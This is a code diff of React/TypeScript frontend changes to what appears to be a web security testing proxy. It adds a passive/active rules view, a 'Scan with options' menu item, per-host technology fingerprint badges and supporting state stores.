onClick={() => setAllExpanded(!anyExpanded)}
|
||||
disabled={filtering}
|
||||
className="text-xs px-2 py-1 rounded-sm bg-surface-input text-content-secondary hover:bg-surface-hover disabled:opacity-50"
|
||||
>
|
||||
{allCollapsed ? 'Expand all' : 'Collapse all'}
|
||||
{anyExpanded ? 'Collapse all' : 'Expand all'}
|
||||
</button>
|
||||
</Tooltip>
|
||||
<button
|
||||
onClick={() => setShowSettings((v) => !v)}
|
||||
className="text-xs px-2 py-1 rounded-sm bg-surface-input text-content-secondary hover:bg-surface-hover"
|
||||
>
|
||||
{showSettings ? 'Hide settings' : 'Settings'}
|
||||
</button>
|
||||
<button
|
||||
onClick={() => {
|
||||
setModalRuleId(null)
|
||||
setCreating(true)
|
||||
}}
|
||||
className="text-xs px-3 py-1.5 rounded-sm bg-accent-tertiary hover:bg-accent-tertiary-hover text-black font-semibold"
|
||||
>
|
||||
+ New rule
|
||||
</button>
|
||||
{mode === 'passive' && (
|
||||
<>
|
||||
<button
|
||||
onClick={() => setShowSettings((v) => !v)}
|
||||
className="text-xs px-2 py-1 rounded-sm bg-surface-input text-content-secondary hover:bg-surface-hover"
|
||||
>
|
||||
{showSettings ? 'Hide settings' : 'Settings'}
|
||||
</button>
|
||||
<button
|
||||
onClick={() => {
|
||||
setModalRuleId(null)
|
||||
setCreating(true)
|
||||
}}
|
||||
className="text-xs px-3 py-1.5 rounded-sm bg-accent-tertiary hover:bg-accent-tertiary-hover text-black font-semibold"
|
||||
>
|
||||
+ New rule
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Detection settings: engine config rather than per-rule, so it stays
|
||||
@@ -1481,179 +1679,55 @@ function RulesView() {
|
||||
|
||||
{/* Count bar */}
|
||||
<div className="flex items-center gap-3 text-content-muted text-xs px-2 py-1 border-b border-border bg-surface-card shrink-0">
|
||||
<span>
|
||||
Showing {visible.length} of {rules.length} rules
|
||||
</span>
|
||||
<span>
|
||||
{enabledCount} enabled, {rules.length - enabledCount} disabled
|
||||
</span>
|
||||
<span className="ml-auto text-[10px]">
|
||||
Click a rule to configure it; use the checkbox to toggle it directly.
|
||||
</span>
|
||||
{mode === 'passive' ? (
|
||||
<>
|
||||
<span>
|
||||
Showing {visible.length} of {rules.length} rules
|
||||
</span>
|
||||
<span>
|
||||
{enabledCount} enabled, {rules.length - enabledCount} disabled
|
||||
</span>
|
||||
<span className="ml-auto text-[10px]">
|
||||
Click a rule to configure it; use the checkbox to toggle it directly.
|
||||
</span>
|
||||
</>
|
||||
) : (
|
||||
<span className="ml-auto text-[10px]">
|
||||
Operator-initiated via "Initiate scan". Click a check for detail; use the checkbox to
|
||||
toggle it.
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Table */}
|
||||
<div className="flex-1 overflow-auto min-h-0">
|
||||
{activeRules && activeRules.length > 0 && (
|
||||
<div className="border-b border-border">
|
||||
<div className="flex items-center gap-1.5 px-2 py-1.5 bg-surface-card text-content-muted">
|
||||
<Scan size={12} strokeWidth={1.8} className="text-accent-tertiary" />
|
||||
<span className="text-[10px] font-semibold uppercase tracking-wide">Active rules</span>
|
||||
<span className="text-[10px] text-content-muted">· run on demand via "Initiate scan"</span>
|
||||
{mode === 'active' ? (
|
||||
activeFamilies.length === 0 ? (
|
||||
<div className="px-3 py-8 text-center text-content-muted text-xs">
|
||||
No active rules match the current filters.
|
||||
</div>
|
||||
<table className="w-full text-xs">
|
||||
<tbody>
|
||||
{activeRules.map((r) => (
|
||||
<tr key={r.id} className={`border-b border-border-subtle ${r.enabled ? '' : 'opacity-60'}`}>
|
||||
<td className="px-2 py-1 w-8">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="accent-accent"
|
||||
checked={r.enabled}
|
||||
onChange={(e) => toggleActiveRule(r.id, e.target.checked)}
|
||||
/>
|
||||
</td>
|
||||
<td className="px-2 py-1">
|
||||
<div className="text-content-secondary">{r.name}</div>
|
||||
</td>
|
||||
<td className="px-2 py-1">
|
||||
<span className="text-[10px] px-1.5 py-0.5 rounded-sm bg-surface-input text-content-muted">
|
||||
{r.category}
|
||||
</span>
|
||||
</td>
|
||||
<td className="px-2 py-1 text-[10px] text-content-muted">active · operator-initiated</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
) : (
|
||||
activeFamilies.map((f) => (
|
||||
<RuleTableSection
|
||||
key={f.family}
|
||||
title={f.family}
|
||||
groups={f.groups}
|
||||
expanded={expanded}
|
||||
onToggleExpand={toggleGroup}
|
||||
filtering={filtering}
|
||||
emptyText="No techniques match the current filters."
|
||||
/>
|
||||
))
|
||||
)
|
||||
) : (
|
||||
<RuleTableSection
|
||||
groups={passiveGroups}
|
||||
expanded={expanded}
|
||||
onToggleExpand={toggleGroup}
|
||||
filtering={filtering}
|
||||
emptyText="No rules match the current filters."
|
||||
/>
|
||||
)}
|
||||
<table className="w-full text-xs">
|
||||
<thead className="sticky top-0 bg-surface-card text-content-muted uppercase">
|
||||
<tr>
|
||||
<th className="px-2 py-1 w-8" />
|
||||
<th className="px-2 py-1 text-left">Rule</th>
|
||||
<th className="px-2 py-1 text-left w-20">Severity</th>
|
||||
<th className="px-2 py-1 text-left w-14">Conf</th>
|
||||
<th className="px-2 py-1 text-left w-32">Target</th>
|
||||
<th className="px-2 py-1 text-left w-20">Origin</th>
|
||||
<th className="px-2 py-1 text-right w-12">Hits</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{grouped.length === 0 && (
|
||||
<tr>
|
||||
<td colSpan={7} className="px-2 py-8 text-center text-content-muted text-xs">
|
||||
No rules match the current filters.
|
||||
</td>
|
||||
</tr>
|
||||
)}
|
||||
{grouped.map(([category, catRules]) => {
|
||||
const isCollapsed = !filtering && collapsed.has(category)
|
||||
const onCount = catRules.filter((r) => r.enabled).length
|
||||
return (
|
||||
<Fragment key={category}>
|
||||
<tr
|
||||
className="cursor-pointer hover:bg-surface-hover"
|
||||
onClick={() => !filtering && toggleCategory(category)}
|
||||
>
|
||||
<td
|
||||
colSpan={7}
|
||||
className="px-2 py-1 bg-surface-input text-[10px] text-content-muted uppercase tracking-wide"
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
{filtering ? (
|
||||
<span className="w-3" />
|
||||
) : isCollapsed ? (
|
||||
<ChevronRight size={12} />
|
||||
) : (
|
||||
<ChevronDown size={12} />
|
||||
)}
|
||||
{category} ({catRules.length})
|
||||
{/* With the body collapsed this is the only signal of what is
|
||||
switched off, so the header has to carry it. */}
|
||||
<span className={onCount === catRules.length ? '' : 'text-semantic-warning'}>
|
||||
{onCount} on
|
||||
</span>
|
||||
{/* stopPropagation so bulk toggling never collapses the group */}
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
setCategoryEnabled(category, true)
|
||||
}}
|
||||
className="text-accent-secondary hover:underline normal-case"
|
||||
>
|
||||
Enable all
|
||||
</button>
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
setCategoryEnabled(category, false)
|
||||
}}
|
||||
className="text-accent-secondary hover:underline normal-case"
|
||||
>
|
||||
Disable all
|
||||
</button>
|
||||
</span>
|
||||
</td>
|
||||
</tr>
|
||||
{!isCollapsed && catRules.map((r) => (
|
||||
<tr
|
||||
key={r.id}
|
||||
className={`border-b border-border-subtle cursor-pointer hover:bg-surface-hover ${
|
||||
r.enabled ? '' : 'opacity-60'
|
||||
}`}
|
||||
onClick={() => {
|
||||
setCreating(false)
|
||||
setModalRuleId(r.id)
|
||||
}}
|
||||
>
|
||||
<td className="px-2 py-1">
|
||||
{/* stopPropagation keeps bulk toggling from opening the modal */}
|
||||
<input
|
||||
type="checkbox"
|
||||
className="accent-accent"
|
||||
checked={r.enabled}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
onChange={(e) => setRuleEnabled(r.id, e.target.checked)}
|
||||
/>
|
||||
</td>
|
||||
<td className="px-2 py-1">
|
||||
<div className="text-content-secondary truncate max-w-md">{r.name}</div>
|
||||
{r.description && (
|
||||
<div className="text-[10px] text-content-muted truncate max-w-md">
|
||||
{r.description}
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-2 py-1">{severityBadge(r.severity)}</td>
|
||||
<td className="px-2 py-1 text-content-muted">{r.confidence}</td>
|
||||
<td className="px-2 py-1 text-content-muted truncate">{r.target}</td>
|
||||
<td className="px-2 py-1">{originPill(r.builtin)}</td>
|
||||
<td className="px-2 py-1 text-right">
|
||||
{r.findingCount ? (
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
// Clear the severity filter too; an Info rule's count
|
||||
// would otherwise open an empty table.
|
||||
setFilter({ rule: r.id, severities: [] })
|
||||
}}
|
||||
className="text-accent-secondary hover:underline"
|
||||
>
|
||||
{r.findingCount}
|
||||
</button>
|
||||
) : (
|
||||
<span className="text-content-muted">0</span>
|
||||
)}
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</Fragment>
|
||||
)
|
||||
})}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
{(modalRule || creating) && (
|
||||
@@ -1667,6 +1741,28 @@ function RulesView() {
|
||||
onChanged={loadRules}
|
||||
/>
|
||||
)}
|
||||
{activeDetail && (
|
||||
<div
|
||||
className="fixed inset-0 z-[60] flex items-center justify-center bg-black/50"
|
||||
onClick={() => setActiveDetail(null)}
|
||||
>
|
||||
<div
|
||||
className="bg-surface-card border border-border rounded w-[40rem] max-w-[95vw] max-h-[80vh] overflow-y-auto p-4"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<div className="flex items-center mb-2">
|
||||
<h3 className="text-sm font-semibold text-content-primary">Rule detail</h3>
|
||||
<button
|
||||
onClick={() => setActiveDetail(null)}
|
||||
className="ml-auto px-2 py-1 rounded-sm text-xs text-content-secondary hover:text-content-primary hover:bg-surface-input"
|
||||
>
|
||||
Close
|
||||
</button>
|
||||
</div>
|
||||
<SignatureDetail sig={activeDetail} />
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
@@ -24,6 +24,7 @@ import ConfirmModal from '../components/ConfirmModal'
|
||||
import { Tooltip } from '../components/Tooltip'
|
||||
import { getSelectionMenuItems } from '../lib/selectionMenu'
|
||||
import { initiateScan } from '../lib/scanMenu'
|
||||
import { useScanOptionsStore } from '../stores/scanOptionsStore'
|
||||
import { copyText } from '../lib/clipboard'
|
||||
import { useSettingsStore } from '../stores/settingsStore'
|
||||
import { useToastStore } from '../stores/toastStore'
|
||||
@@ -1151,6 +1152,15 @@ function HTTPHistory() {
|
||||
? [{ label: 'Add to Chain', onClick: () => sendToChain(rowSeq) }]
|
||||
: []),
|
||||
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', requestId: rowMenu.itemId }) },
|
||||
{
|
||||
label: 'Scan with options…',
|
||||
onClick: () =>
|
||||
useScanOptionsStore.getState().openScan({
|
||||
scope: 'request',
|
||||
requestId: rowMenu.itemId,
|
||||
label: 'Selected request',
|
||||
}),
|
||||
},
|
||||
{ label: 'Stage for Dead Drop', onClick: () => stageForDeadDrop(rowMenu.itemId) },
|
||||
]}
|
||||
/>
|
||||
@@ -1170,6 +1180,15 @@ function HTTPHistory() {
|
||||
{ label: 'SJ', onClick: sendToSJ },
|
||||
{ label: 'Add to Chain', onClick: () => sendToChain(selectedDetail.seq) },
|
||||
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', requestId: selectedDetail.id }) },
|
||||
{
|
||||
label: 'Scan with options…',
|
||||
onClick: () =>
|
||||
useScanOptionsStore.getState().openScan({
|
||||
scope: 'request',
|
||||
requestId: selectedDetail.id,
|
||||
label: `${selectedDetail.method} ${selectedDetail.url}`,
|
||||
}),
|
||||
},
|
||||
{ label: 'Stage for Dead Drop', onClick: () => stageDetailForDeadDrop(selectedDetail) },
|
||||
...(teamMode ? [{ label: 'Flag to team', icon: <Flag size={13} />, onClick: flagToTeam }] : []),
|
||||
{ label: 'Copy URL', onClick: copyUrl },
|
||||
|
||||
@@ -17,6 +17,7 @@ import ContextMenu from '../components/ContextMenu'
|
||||
import { Tooltip } from '../components/Tooltip'
|
||||
import { getSelectionMenuItems } from '../lib/selectionMenu'
|
||||
import { initiateScan } from '../lib/scanMenu'
|
||||
import { useScanOptionsStore } from '../stores/scanOptionsStore'
|
||||
import { copyText } from '../lib/clipboard'
|
||||
import { useSettingsStore } from '../stores/settingsStore'
|
||||
import { useToastStore } from '../stores/toastStore'
|
||||
@@ -475,6 +476,15 @@ export default function ManipulateHTTP() {
|
||||
...getSelectionMenuItems(navigate),
|
||||
{ label: 'Fuzz', onClick: sendToFuzz },
|
||||
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', url: getRequestUrl() }) },
|
||||
{
|
||||
label: 'Scan with options…',
|
||||
onClick: () =>
|
||||
useScanOptionsStore.getState().openScan({
|
||||
scope: 'request',
|
||||
url: getRequestUrl(),
|
||||
label: getRequestUrl() || 'Request',
|
||||
}),
|
||||
},
|
||||
{
|
||||
label: method === 'GET' ? 'Change to POST' : 'Change to GET',
|
||||
onClick: () => updateTab(tab.id, { rawReq: changeRequestType(tab.rawReq) }),
|
||||
|
||||
+66
-2
@@ -4,7 +4,8 @@ import CodeMirror from '@uiw/react-codemirror'
|
||||
import { EditorView } from '@codemirror/view'
|
||||
import { oneDark } from '@codemirror/theme-one-dark'
|
||||
import { api } from '../lib/api'
|
||||
import type { SitemapHost, SitemapEndpoint, SitemapVariant } from '../lib/api'
|
||||
import type { SitemapHost, SitemapEndpoint, SitemapVariant, Tech } from '../lib/api'
|
||||
import { useTechStore } from '../stores/techStore'
|
||||
import { rawToCurl } from '../lib/httpTransform'
|
||||
import { RequestDetail } from '../stores/requestStore'
|
||||
import { useRequestStore } from '../stores/requestStore'
|
||||
@@ -14,7 +15,8 @@ import TabButton from '../components/TabButton'
|
||||
import { useLenses } from '../lib/lenses'
|
||||
import { useResizable } from '../lib/useResizable'
|
||||
import ContextMenu from '../components/ContextMenu'
|
||||
import { initiateScan } from '../lib/scanMenu'
|
||||
import { initiateScan, fingerprintHosts } from '../lib/scanMenu'
|
||||
import { useScanOptionsStore } from '../stores/scanOptionsStore'
|
||||
import ConfirmModal from '../components/ConfirmModal'
|
||||
import { Tooltip } from '../components/Tooltip'
|
||||
import { Filter, ChevronRight, X, WrapText, SlidersHorizontal } from 'lucide-react'
|
||||
@@ -42,6 +44,31 @@ function b64Decode(s: string) {
|
||||
export default function Map() {
|
||||
const navigate = useNavigate()
|
||||
const [hosts, setHosts] = useState<SitemapHost[]>([])
|
||||
|
||||
// Technology fingerprints, for the per-host badges. Push-driven via ws; load
|
||||
// once on mount (the store guards against re-fetching).
|
||||
const techHosts = useTechStore((s) => s.hosts)
|
||||
useEffect(() => {
|
||||
void useTechStore.getState().load()
|
||||
}, [])
|
||||
// A plain record, not a Map — the page component is itself named Map and
|
||||
// shadows the global constructor.
|
||||
const techByHost = useMemo(() => {
|
||||
const m: Record<string, Tech[]> = {}
|
||||
for (const h of techHosts) m[h.host.toLowerCase()] = h.technologies
|
||||
return m
|
||||
}, [techHosts])
|
||||
const techFor = useCallback(
|
||||
(origin: string): Tech[] => {
|
||||
try {
|
||||
return techByHost[new URL(origin).host.toLowerCase()] ?? []
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
},
|
||||
[techByHost],
|
||||
)
|
||||
|
||||
const [expandedHosts, setExpandedHosts] = useState<Set<string>>(new Set())
|
||||
const [expandedEndpoints, setExpandedEndpoints] = useState<Set<string>>(new Set())
|
||||
const [loading, setLoading] = useState(true)
|
||||
@@ -350,6 +377,15 @@ export default function Map() {
|
||||
<span className={`inline-flex items-center text-content-muted transition-transform ${hostExpanded ? 'rotate-90' : ''}`}><ChevronRight size={12} /></span>
|
||||
<span className="text-xs font-semibold text-content-primary">{host.origin}</span>
|
||||
<span className="text-[10px] text-content-muted ml-1">({host.count})</span>
|
||||
{techFor(host.origin).slice(0, 5).map((t) => (
|
||||
<span
|
||||
key={t.name}
|
||||
title={[t.name + (t.version ? ` ${t.version}` : ''), ...(t.categories ?? [])].join(' · ')}
|
||||
className="px-1 py-0.5 rounded text-[9px] font-medium bg-accent-secondary/15 text-accent-secondary shrink-0"
|
||||
>
|
||||
{t.name}
|
||||
</span>
|
||||
))}
|
||||
<span className="text-[10px] text-content-muted ml-auto">{host.endpoints.length} {host.endpoints.length === 1 ? 'endpoint' : 'endpoints'}</span>
|
||||
</button>
|
||||
<Tooltip content="Parameters">
|
||||
@@ -654,6 +690,25 @@ export default function Map() {
|
||||
label: 'Initiate scan',
|
||||
onClick: () => initiateScan({ scope: 'host', origin: hostMenu.origin }),
|
||||
},
|
||||
{
|
||||
label: 'Scan with options…',
|
||||
onClick: () =>
|
||||
useScanOptionsStore.getState().openScan({
|
||||
scope: 'host',
|
||||
origin: hostMenu.origin,
|
||||
label: hostMenu.origin,
|
||||
}),
|
||||
},
|
||||
{
|
||||
label: 'Fingerprint host',
|
||||
onClick: () => {
|
||||
try {
|
||||
void fingerprintHosts(new URL(hostMenu.origin).host)
|
||||
} catch {
|
||||
void fingerprintHosts()
|
||||
}
|
||||
},
|
||||
},
|
||||
]}
|
||||
/>
|
||||
)}
|
||||
@@ -668,6 +723,15 @@ export default function Map() {
|
||||
{ label: 'Manipulate', onClick: sendToManipulate },
|
||||
{ label: 'Fuzz', onClick: sendToFuzz },
|
||||
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', requestId: selectedDetail.id }) },
|
||||
{
|
||||
label: 'Scan with options…',
|
||||
onClick: () =>
|
||||
useScanOptionsStore.getState().openScan({
|
||||
scope: 'request',
|
||||
requestId: selectedDetail.id,
|
||||
label: `${selectedDetail.method} ${selectedDetail.url}`,
|
||||
}),
|
||||
},
|
||||
{ label: 'Copy URL', onClick: copyUrl },
|
||||
{ label: 'Copy as curl', onClick: copyCurl },
|
||||
{ label: 'Copy Raw Request', onClick: () => copyRaw('request') },
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
import { create } from 'zustand'
|
||||
|
||||
// The target a scan-options dialog was opened for. Mirrors the fields
|
||||
// initiateScan takes, minus the options the dialog itself collects.
|
||||
export interface ScanTarget {
|
||||
scope: 'host' | 'request'
|
||||
origin?: string
|
||||
url?: string
|
||||
requestId?: string
|
||||
// label is a human description of the target for the dialog header.
|
||||
label: string
|
||||
}
|
||||
|
||||
interface ScanOptionsState {
|
||||
open: boolean
|
||||
target: ScanTarget | null
|
||||
openScan: (target: ScanTarget) => void
|
||||
close: () => void
|
||||
}
|
||||
|
||||
// A global modal, mounted once in App, so the "Scan with options…" context-menu
|
||||
// item on any page can open it without each page hosting the dialog.
|
||||
export const useScanOptionsStore = create<ScanOptionsState>((set) => ({
|
||||
open: false,
|
||||
target: null,
|
||||
openScan: (target) => set({ open: true, target }),
|
||||
close: () => set({ open: false, target: null }),
|
||||
}))
|
||||
@@ -0,0 +1,60 @@
|
||||
import { create } from 'zustand'
|
||||
import { api, type HostTech } from '../lib/api'
|
||||
|
||||
// Passive technology fingerprints, keyed by host. The store is push-driven: it
|
||||
// loads once and ws.ts folds in tech.detected / tech.summary as traffic flows,
|
||||
// so it never joins the dashboard poll loop.
|
||||
|
||||
interface TechState {
|
||||
enabled: boolean
|
||||
hosts: HostTech[]
|
||||
summary: { hosts: number; techs: number }
|
||||
loaded: boolean
|
||||
loading: boolean
|
||||
|
||||
load: () => Promise<void>
|
||||
applyDetected: (ht: HostTech) => void
|
||||
setSummary: (s: { hosts: number; techs: number }) => void
|
||||
setEnabled: (enabled: boolean) => Promise<void>
|
||||
}
|
||||
|
||||
export const useTechStore = create<TechState>((set, get) => ({
|
||||
enabled: true,
|
||||
hosts: [],
|
||||
summary: { hosts: 0, techs: 0 },
|
||||
loaded: false,
|
||||
loading: false,
|
||||
|
||||
load: async () => {
|
||||
if (get().loading) return
|
||||
set({ loading: true })
|
||||
try {
|
||||
const res = await api.techHosts()
|
||||
set({ enabled: res.enabled, hosts: res.hosts ?? [], summary: res.summary, loaded: true })
|
||||
} catch {
|
||||
// Unavailable outside proxy mode; leave the store empty.
|
||||
set({ loaded: true })
|
||||
} finally {
|
||||
set({ loading: false })
|
||||
}
|
||||
},
|
||||
|
||||
// A tech.detected payload carries a host's full, current set, so it replaces
|
||||
// that host's row rather than merging — the server already folded it.
|
||||
applyDetected: (ht) => {
|
||||
const hosts = get().hosts.filter((h) => h.host !== ht.host)
|
||||
hosts.unshift(ht)
|
||||
set({ hosts })
|
||||
},
|
||||
|
||||
setSummary: (s) => set({ summary: s }),
|
||||
|
||||
setEnabled: async (enabled) => {
|
||||
set({ enabled })
|
||||
try {
|
||||
await api.techSetEnabled(enabled)
|
||||
} catch {
|
||||
set({ enabled: !enabled })
|
||||
}
|
||||
},
|
||||
}))
|
||||
Reference in new issue
Block a user